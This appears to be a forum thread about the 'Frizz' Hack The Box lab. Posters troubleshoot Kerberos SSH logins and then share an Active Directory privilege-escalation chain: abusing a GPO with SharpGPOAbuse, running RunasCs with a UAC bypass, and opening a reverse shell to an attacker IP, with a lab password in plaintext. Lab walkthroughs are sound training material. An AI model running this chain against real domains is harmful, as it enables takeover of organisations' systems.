[0xNite]

Okay guys so after reading all your posts and considering why the actual fuck the authentication was not working, I could not find a real solution but while debugging the output of ssh with -vvv you can see what the issue might be. It does try to load your ticket from a certain file "/tmp/krb*" if this is the case then you'll have to run the command as:
KRB5CCNAME=pathtoccachefile ssh -K user@target

If while debugging SSH you find that KDC for realm FRIZZ.HTB can't be found, then specify the IP directly in /etc/krb5.conf as:
[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_kdc = false

[realms]
FRIZZ.HTB = {
    kdc = 10.129.154.126
    admin_server = 10.129.154.126
}

Of course keep in mind to sync your time with the DC's just for the sake of interacting with kerberos.

This will likely work. I hope it solves the problem for the people doing it during the week cause yeah... the config is trash, although quite real because real environments are normally this bad xD

Thanks!

For me it started working after I set 10.10.11.60 as the nameserver:

$ cat /etc/resolv.conf | grep nameserver
nameserver 10.10.11.60

[Cipiki]

WTF there is no more 5985 port ?

[TechArtificer]

WTF there is no more 5985 port ?

No, you have to use the SSH port. See the other posts here for how to address any issues with it.

[Ringo555]

in hosts i have

10.10.11.60    frizz.htb frizzdc.frizz.htb

i switched to public to have more stability  ....maybe....

anyway yes i got sync with clock of the machine trough ntpdate  and oc did put the KRB5CCNAME=f.f.****.ccache

i did all correctly and it's giving me the same error :O

Switch in /etc/hosts 10.10.11 frizzdc.frizz.htb frizz.htb, for some reason the dc has to be first

[whatsgoingon1]

Does the RunasCs.exe method work for anyone else now?
I can log in as M with ssh, but once I have the files uploaded and run sharpGPOAbuse, trying to runascs with M or F just says permission denied when I try to write out the flag, and kills my nc listener while giving the permission denied error if I try to connect to my box through powershell.

[LCF]

Thank you for all your work

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[ShadowSpecter]

Someone now a good writeup for that i still trying i don't now what is happening but it doesn't work me, thanks!!

[akorshikai]

[/quote]

If you're in as local admin, upload RunasCs.exe and use the following command to get the flag:

.\RunasCs.exe "user" "pass" "cmd /c type C:\Users\Administrator\Desktop\root.txt" --bypass-uac --logon-type '8' --force-profile

with correct user and pass...
[/quote]

I second this - if you're riding the bus, you're riding your way to root.

[bkbk]

Can someone confirm if RunasCS works? I am not able to add myself in the local admins group with GPO

[bobthebuilder1111]

Can someone confirm if RunasCS works? I am not able to add myself in the local admins group with GPO

Just worked for me...  Below are the steps someone else posted earlier which I just ran and worked flawlessly.
I guess the only other possibility is the binaries in question...
wget https://github.com/byronkg/SharpGPOAbuse...OAbuse.exe
wget https://github.com/antonioCoco/RunasCs/r...unasCs.zip (then used the RunasCs.exe from this zip)

# get root
New-GPO -Name "doesnotmatter"
#add newlink to domain controllers
New-GPLink -Name "doesnotmatter" -Target "OU=Domain Controllers,DC=frizz,DC=htb"
#add m.schoolbus to localadmin group
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName doesnotmatter
#force group policy update
gpupdate /force
#send yourself a revshell with admin rights:
.\RunasC.exe "M.SchoolBus" '!suBcig@MehTed!R' powershell.exe -r IP:9001